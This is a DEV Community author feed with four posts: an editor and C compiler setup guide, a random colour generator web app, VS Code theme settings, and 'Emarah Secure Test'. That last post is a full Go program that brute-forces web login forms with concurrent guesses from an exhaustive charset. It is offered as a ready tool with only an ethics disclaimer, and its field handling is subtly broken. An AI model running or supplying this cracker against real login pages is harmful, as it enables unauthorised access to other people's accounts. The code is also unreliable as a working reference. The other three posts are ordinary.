DEV Community: Abdullah al Azmi

How to install VSCode/VSCodium?

Abdullah al Azmi — Thu, 12 Sep 2024 23:45:07 +0000

Code Editor and Compiler Setup

Step 1: Install a Code Editor

For this project, I recommend using VSCodium, a free, open-source code editor similar to Visual Studio Code but without Microsoft's telemetry. However, feel free to use any other editor if you prefer.

Installation on Windows

Go to the VSCodium website.
Download the installer for Windows.
Run the installer and follow the on-screen instructions to complete the installation.

Installation on Linux

Open your terminal and run the following commands based on your Linux distribution:

For Debian/Ubuntu-based systems:

 sudo apt update && sudo apt upgrade
 sudo apt install codium

For Fedora:
```
 sudo dnf install codium
```
For Arch Linux:
```
 sudo pacman -S codium
```

Step 2: Install a C Compiler

Installation on Windows

For Windows, I recommend using MinGW (Minimalist GNU for Windows) or TDM-GCC:

MinGW Installation:
- Download the installer from the MinGW official website.
- Run the installer and select mingw32-gcc-g++ and mingw32-base.
- After installation, add C:\MinGW\bin to your system's PATH environment variable.
TDM-GCC Installation:
- Download TDM-GCC from the TDM-GCC official website.
- Follow the installation instructions and add it to your PATH if necessary.

Installation on Linux

On most Linux distributions, GCC (GNU Compiler Collection) is usually pre-installed. To ensure you have it installed, run:

For Debian/Ubuntu-based systems:

 sudo apt update && sudo apt upgrade
 sudo apt install build-essential

For Fedora:
```
 sudo dnf install gcc
```
For Arch Linux:
```
 sudo pacman -S gcc
```

Step 3: Add a Customized Theme to Your Code Editor

To enhance your coding experience, I recommend using a customized theme created earlier. Follow these steps to add it to your code editor:

Visit the custom theme link and copy the theme settings provided.
Open your code editor (VSCodium/VS Code), and press:
```
Ctrl + Shift + P
```
Type settings and select:
```
Preferences: Open User Settings (JSON)
```

Step 4: Install Necessary Extensions for C Programming

To optimize your coding environment for C programming, it's essential to install the following extensions:

C/C++ Extensions Pack:
- This extension pack includes all necessary tools like IntelliSense, debugging, and code browsing for C/C++.
- Search for 'C/C++' by Microsoft in the extension marketplace and install it.
Code Runner:
- Allows you to run your code snippets easily.
- Search for 'Code Runner' in the extension marketplace and install it.

By following these steps, you will have your code editor and compiler ready, complete with a custom theme and necessary extensions for an enhanced coding experience.

Emarah Secure Test: A Penetration Testing Tool for Ethical Hacking

Abdullah al Azmi — Mon, 09 Sep 2024 15:49:04 +0000

Emarah Secure Test is a penetration testing tool designed for ethical hacking, research, and educational purposes. This tool focuses on credential cracking using brute force techniques while ensuring a secure and controlled environment. It is specifically built to demonstrate vulnerabilities and improve understanding of security measures through real-world scenarios.

Key Features:

Brute Force Attack Engine: Utilizes concurrent and sequential brute force attacks to crack credentials, detecting username and password fields on web pages and automating login attempts.
Customizable Configuration: Easily configure the base URL, character set, password length, and concurrency level to suit different testing needs.
Input Field Detection: Automatically detects input fields like username and password on target pages, ensuring accurate and efficient attack attempts.
Concurrent and Sequential Attacks: Supports concurrent cracking for quick results or sequential cracking to target specific fields, enhancing the tool's versatility in various penetration testing scenarios.
Process Management and State Tracking: Manages brute force state using thread-safe techniques, ensuring accurate tracking of attempts and preventing redundant processes.
Security and Ethical Use: Designed strictly for ethical hacking and educational purposes, with strong emphasis on secure deployment and usage within legal boundaries.

Use Cases:

Educational Demonstrations: Use this tool to demonstrate the impact of weak password policies and the importance of strong security measures.
Research and Development: Ideal for researchers working on cybersecurity improvements and developing more secure authentication mechanisms.
Ethical Hacking Training: Train cybersecurity professionals by providing real-world penetration testing scenarios in a controlled environment.

Disclaimer:

Emarah Secure Test is intended strictly for ethical hacking and educational purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and against the principles of this tool.

Code:

package main

import (
    "bytes"
    "fmt"
    "net/http"
    "strings"
    "sync"
    "time"

    "golang.org/x/net/html"
)

type Config struct {
    BaseURL     string
    Charset     string
    MaxLength   int
    Concurrency int
}

type BruteForceState struct {
    Found    bool
    Attempts int
    Username string
    Password string
    Mutex    sync.Mutex
}

func main() {
    config := Config{
        BaseURL:     "http://192.168.0.1/login.html",
        Charset:     "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()",
        MaxLength:   4,
        Concurrency: 10,
    }

    state := BruteForceState{}
    startTime := time.Now()

    runBruteForce(config, &state)

    duration := time.Since(startTime)
    if state.Found {
        fmt.Printf("Username: %s\nPassword: %s\nAttempts: %d\nTime taken: %v\n", state.Username, state.Password, state.Attempts, duration)
    } else {
        fmt.Println("Credentials not found within the given length constraints.")
    }
}

func runBruteForce(config Config, state *BruteForceState) {
    usernameField, passwordField, nextPage := detectFields(config.BaseURL)

    if usernameField != "" && passwordField != "" {
        fmt.Println("Attempting to crack username and password concurrently...")
        performConcurrentAttack(config, state, usernameField, passwordField)
    } else if usernameField != "" {
        fmt.Println("Username found, attempting to crack username first...")
        crackedUsername := performSequentialAttack(config, state, usernameField, "")
        if crackedUsername != "" {
            passwordField, _ = detectNextPageFields(nextPage)
            if passwordField != "" {
                fmt.Println("Username cracked. Now attempting to crack the password...")
                performSequentialAttack(config, state, "", passwordField)
            }
        }
    } else if passwordField != "" {
        fmt.Println("Only password field detected, attempting to crack...")
        performSequentialAttack(config, state, "", passwordField)
    }
}

func detectFields(url string) (usernameField, passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken && token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "text" || strings.Contains(id, "user") || strings.Contains(name, "user") || strings.Contains(placeholder, "user") {
                usernameField = id
            } else if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }

        if tokenType == html.StartTagToken && (token.Data == "a" || token.Data == "button") {
            for _, attr := range token.Attr {
                if attr.Key == "href" {
                    nextPage = attr.Val
                }
            }
        }
    }

    return
}

func detectNextPageFields(url string) (passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the next page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken && token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }
    }

    return
}

func performConcurrentAttack(config Config, state *BruteForceState, usernameField, passwordField string) {
    var wg sync.WaitGroup
    passwords := make(chan string, config.Concurrency)

    for i := 0; i < config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()
}

func performSequentialAttack(config Config, state *BruteForceState, usernameField, passwordField string) string {
    passwords := make(chan string, config.Concurrency)
    var wg sync.WaitGroup

    for i := 0; i < config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()

    if usernameField != "" {
        return state.Username
    } else if passwordField != "" {
        return state.Password
    }
    return ""
}

func worker(config Config, state *BruteForceState, passwords <-chan string, usernameField, passwordField string, wg *sync.WaitGroup) {
    defer wg.Done()
    for password := range passwords {
        if state.Found {
            return
        }

        success, foundUsername := attemptLogin(config, usernameField, passwordField, password)
        state.Mutex.Lock()
        state.Attempts++
        if success {
            state.Found = true
            if foundUsername {
                state.Username = password
            } else {
                state.Password = password
            }
        }
        state.Mutex.Unlock()
    }
}

func attemptLogin(config Config, usernameField, passwordField, value string) (bool, bool) {
    var data string
    if usernameField != "" {
        data = fmt.Sprintf("%s=%s", usernameField, value)
    } else if passwordField != "" {
        data = fmt.Sprintf("%s=%s&%s=%s", usernameField, value, passwordField, value)
    }

    req, err := http.NewRequest("POST", config.BaseURL, bytes.NewBufferString(data))
    if err != nil {
        return false, false
    }
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return false, false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        buf := new(bytes.Buffer)
        buf.ReadFrom(resp.Body)
        if strings.Contains(buf.String(), "Welcome") {
            return true, usernameField != ""
        }
    }

    return false, false
}

func generatePasswords(config Config, passwords chan<- string) {
    for length := 1; length <= config.MaxLength; length++ {
        generateCombination("", length, config.Charset, passwords)
    }
}

func generateCombination(prefix string, maxLength int, charset string, passwords chan<- string) {
    if len(prefix) == maxLength {
        passwords <- prefix
        return
    }
    for _, c := range charset {
        generateCombination(prefix+string(c), maxLength, charset, passwords)
    }
}

Install this also:

go get golang.org/x/net

🎨 Color Generation App

Abdullah al Azmi — Mon, 09 Sep 2024 15:32:25 +0000

Overview

This app allows users to generate random colors in RGB, RGBA, and HEX formats. It also provides the option to toggle between these formats, displaying color information dynamically.

HTML File

The HTML file includes the structure of the page, featuring color boxes, a generate button, toggle buttons for color formats, and informational sections for each color.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Theme Changing</title>
    <link rel="stylesheet" href="./style.css">
    <link rel="fonts" href="/fonts/calibri_Font.css">
</head>
<body class="grid">
    <div class="color-boxes">
        <div class="color-box" id="color-box1">Color 1</div>
        <div class="color-box" id="color-box2">Color 2</div>
        <div class="color-box" id="color-box3">Color 3</div>
    </div>
    <button id="generateButton">Generate Colors</button>
    <div class="toggle-buttons">
        <button class="toggle-button" data-type="rgb">RGB</button>
        <button class="toggle-button" data-type="rgba">RGBA</button>
        <button class="toggle-button" data-type="hex">HEX</button>
        <button class="toggle-button" data-type="all">ALL</button>
    </div>
    <div class="color-info" id="color-info1">Color Info 1</div>
    <div class="color-info" id="color-info2">Color Info 2</div>
    <div class="color-info" id="color-info3">Color Info 3</div>
    <script src="./script.js"></script>
</body>
</html>

CSS File

This CSS styles the page with a modern and responsive design, including animations for the grid background, styles for the color boxes, buttons, and tooltips.

body {
    background-color: #000000;
    color: #f9f9f9;
    display: flex;
    flex-direction: column;
    height: 100vh;
    align-items: center;
    justify-content: center;
    padding: 12px;
    margin: 0;
    overflow: hidden;
    transition: all 0.1s ease;
}
.grid {
    background-image: linear-gradient(to right, #0f0f10 1px, transparent 1px),
                      linear-gradient(to bottom, #0f0f10 1px, transparent 1px);
    background-size: 2rem 2rem;
    background-position: center center;
    animation: bgMove 10s linear infinite;
}
@keyframes bgMove {
    0% { background-position: center center; }
    100% { background-position: right bottom; }
}
.color-boxes {
    display: flex;
    justify-content: center;
    gap: 20px;
    margin-bottom: 20px;
}
.color-box {
    width: 100px;
    height: 100px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 0.8rem;
    color: #fff;
    border-radius: 12px;
    position: relative;
    text-align: center;
    transition: background-color 0.3s ease;
}
.color-info {
    margin-top: 10px;
    font-size: 0.9rem;
    font-weight: bold;
    text-align: center;
    position: relative;
    border-radius: 12px;
    box-shadow: 0 0 15px rgba(0, 0, 0, 0.6);
    background-color: #151515;
    padding: 20px;
    max-width: 400px;
    width: 90%;
    z-index: 1;
    transition: all 0.3s ease;
}
.tooltip {
    position: absolute;
    top: -150%;
    left: 50%;
    transform: translateX(-50%);
    padding: 0.3rem 0.6rem;
    opacity: 0;
    pointer-events: none;
    transition: all 0.3s ease;
    background: #333333;
    z-index: 1;
    border-radius: 8px;
    text-transform: capitalize;
    font-weight: 400;
    font-size: 0.8rem;
    color: #e8e8e8;
    white-space: nowrap;
    transform-origin: top center;
}
.tooltip::before {
    position: absolute;
    content: "";
    height: 0.6rem;
    width: 0.6rem;
    bottom: -0.3rem;
    left: 50%;
    transform: translateX(-50%) rotate(45deg);
    background: #333333;
}
.color-info:hover .tooltip {
    opacity: 1;
    pointer-events: auto;
    transform: translateX(-50%) translateY(-10px);
}
#generateButton {
    padding: 10px 20px;
    border-radius: 12px;
    background-color: #f9f9f9;
    color: #212121;
    border: none;
    font-size: 1.1rem;
    font-weight: bold;
    margin-bottom: 20px;
    cursor: pointer;
    transition: background-color 0.3s ease;
}
#generateButton:hover {
    background-color: #e0e0e0;
}
.toggle-buttons {
    display: flex;
    gap: 10px;
    margin-bottom: 20px;
}
.toggle-button {
    padding: 5px 10px;
    border-radius: 8px;
    background-color: #f9f9f9;
    color: #212121;
    border: none;
    cursor: pointer;
    font-size: 0.9rem;
    font-weight: bold;
    transition: background-color 0.3s ease;
}
.toggle-button:hover {
    background-color: #e0e0e0;
}

JavaScript File

The JavaScript file generates random colors in different formats and handles UI interactions, including updating color information, toggling between formats, and copying color values to the clipboard.

function getRandomColor() {
    const r = Math.floor(Math.random() * 256);
    const g = Math.floor(Math.random() * 256);
    const b = Math.floor(Math.random() * 256);
    const a = (Math.random() * 1).toFixed(2); 
    const rgb = `rgb(${r}, ${g}, ${b})`;
    const rgba = `rgba(${r}, ${g}, ${b}, ${a})`;
    const hex = `#${((1 << 24) | (r << 16) | (g << 8) | b).toString(16).slice(1).toUpperCase()}`;
    return { rgb, rgba, hex };
}

function displayColorInfo(box, info, color) {
    box.style.backgroundColor = color.rgb;
    info.innerHTML = `RGB: ${color.rgb}<br>RGBA: ${color.rgba}<br>HEX: ${color.hex}`;
    info.dataset.rgb = color.rgb;
    info.dataset.rgba = color.rgba;
    info.dataset.hex = color.hex;
}

function toggleColorInfo(type) {
    const infoDivs = document.querySelectorAll(".color-info");
    infoDivs.forEach(div => {
        const rgb = div.dataset.rgb;
        const rgba = div.dataset.rgba;
        const hex = div.dataset.hex;
        if (type === "all") {
            div.innerHTML = `RGB: ${rgb}<br>RGBA: ${rgba}<br>HEX: ${hex}`;
        } else if (type === "rgb") {
            div.innerHTML = `RGB: ${rgb}`;
        } else if (type === "rgba") {
            div.innerHTML = `RGBA: ${rgba}`;
        } else if (type === "hex") {
            div.innerHTML = `HEX: ${hex}`;
        }
    });
}

document.getElementById("generateButton").addEventListener("click", function () {
    const colorBox1 = document.getElementById("color-box1");
    const colorBox2 = document.getElementById("color-box2");
    const colorBox3 = document.getElementById("color-box3");
    const colorInfo1 = document.getElementById("color-info1");
    const colorInfo2 = document.getElementById("color-info2");
    const colorInfo3 = document.getElementById("color-info3");
    const color1 = getRandomColor();
    const color2 = getRandomColor();
    const color3 = getRandomColor();
    displayColorInfo(colorBox1, colorInfo1, color1);
    displayColorInfo(colorBox2, colorInfo2, color2);
    displayColorInfo(colorBox3, colorInfo3, color3);
});

document.querySelectorAll(".toggle-button").forEach(button => {
    button.addEventListener("click", function () {
        toggleColorInfo(button.getAttribute("data-type"));
    });
});

document.querySelectorAll(".color-info").forEach(info => {
    info.addEventListener("mouseover", function () {
        const tooltip = document.createElement("span");
        tooltip.className = "tooltip";
        tooltip.innerText = "Copy";
        info.appendChild(tooltip);
    });

    info.addEventListener("mouseout", function () {
        const tooltip = info.querySelector(".tooltip");
        if (tooltip) {
            tooltip.remove();
        }
    });

    info.addEventListener("click", function () {
        const tooltip = info.querySelector(".tooltip");
        navigator.clipboard.writeText(info.innerText).then(() => {
            tooltip.innerText = "Copied!";
            setTimeout(() => {
                tooltip.innerText = "Copy";
            }, 1000);
        });
    });
});

Customize your VS Code/Code-OSS/VSCodium!!!

Abdullah al Azmi — Sat, 07 Sep 2024 18:54:45 +0000

Installation Guide

Follow these steps to apply the settings to your VS Code, Code-OSS, or VSCodium:

1. Install Required Extensions

Open VS Code/Code-OSS/VSCodium and navigate to the Extensions view by pressing Ctrl + Shift + X.
Search and install the following extensions:
- Ayu Theme: For the Ayu Dark theme.
- Material Icon Theme: For modern file and folder icons.

2. Open User Settings

Open the Command Palette with Ctrl + Shift + P and type Preferences: Open User Settings (JSON).
This will open your settings file in JSON format.

3. Copy and Paste Settings

Copy the provided settings configuration and paste it into the JSON file, replacing any existing settings.

4. Save the Settings

Save the file by pressing Ctrl + S. The changes will be applied automatically.

5. Restart VS Code/Code-OSS/VSCodium

Restart your editor to ensure all settings and themes are correctly applied.

Troubleshooting

If the theme does not change, make sure the Ayu theme is correctly installed and selected in the settings via File > Preferences > Color Theme.
Ensure all extensions are up-to-date to avoid compatibility issues.

JSON File

Workbench Settings

{
    "workbench.colorTheme": "Ayu Dark",
    "workbench.iconTheme": "material-icon-theme",
    "workbench.startupEditor": "none",
    "workbench.tree.enableStickyScroll": false,
    "editor.cursorBlinking": "smooth",
    "editor.cursorSmoothCaretAnimation": "on",
    "git.autofetch": true,
    "tabnine.experimentalAutoImports": true,
    "workbench.activityBar.location": "top",
    "editor.language.colorizedBracketPairs": [],
    "workbench.preferredHighContrastColorTheme": "Ayu Dark Bordered",
    "workbench.preferredHighContrastLightColorTheme": "Ayu Light",
    "workbench.preferredLightColorTheme": "Ayu",
    "window.menuBarVisibility": "toggle",
    "workbench.editor.centeredLayoutFixedWidth": true,
    "editor.fontWeight": "500",
    "editor.fontVariations": false,
    "editor.tokenColorCustomizations": {
        "[Ayu Dark]": {}
    },
    "git.ignoreRebaseWarning": true,
    "go.toolsManagement.autoUpdate": true
}

Terminal Settings

{
 "terminal.integrated.cursorBlinking": true,
  "terminal.integrated.cursorStyle": "line",
  "terminal.integrated.smoothScrolling": true,
  "terminal.integrated.cursorStyleInactive": "none",
  "terminal.integrated.fontFamily": "monospace",
  "terminal.integrated.fontWeight": "normal",
  "terminal.integrated.lineHeight": 1.1,
  "terminal.integrated.gpuAcceleration": "auto",
  "terminal.integrated.scrollback": 1000,
  "terminal.integrated.focusAfterRun": "terminal",
  "terminal.integrated.tabs.defaultColor": "terminal.ansiBlack",
  "terminal.integrated.tabs.title": "${sequence}",

  // ----------------------------------------------
  // Custom Colors and Theming
  // ----------------------------------------------
  "workbench.colorCustomizations": {
    "[Ayu Dark]": {
      "terminal.foreground": "#E6E1CF",
      "terminalCursor.foreground": "#FFA500",
      "terminalCursor.background": "#E6E1CF",
      "terminal.ansiBlack": "#3C3F58",
      "terminal.ansiBlue": "#39BAE6",
      "terminal.ansiCyan": "#95E6CB",
      "terminal.ansiGreen": "#a7ca71",
      "terminal.ansiMagenta": "#C792EA",
      "terminal.ansiRed": "#F07178",
      "terminal.ansiWhite": "#F8F8F2",
      "terminal.ansiYellow": "#FFCB6B",
      "terminal.ansiBrightBlack": "#5A5A76",
      "terminal.ansiBrightBlue": "#39BAE6",
      "terminal.ansiBrightCyan": "#95E6CB",
      "terminal.ansiBrightGreen": "#C3E88D",
      "terminal.ansiBrightMagenta": "#C792EA",
      "terminal.ansiBrightRed": "#F07178",
      "terminal.ansiBrightWhite": "#F8F8F2",
      "terminal.ansiBrightYellow": "#FFCB6B",
      "editorCursor.foreground": "#FF8C00",
      "editorCursor.background": "#E6E1CF"
    },
    "terminal.background": "#00000000"
  },
  "terminal.integrated.confirmOnKill": "editor",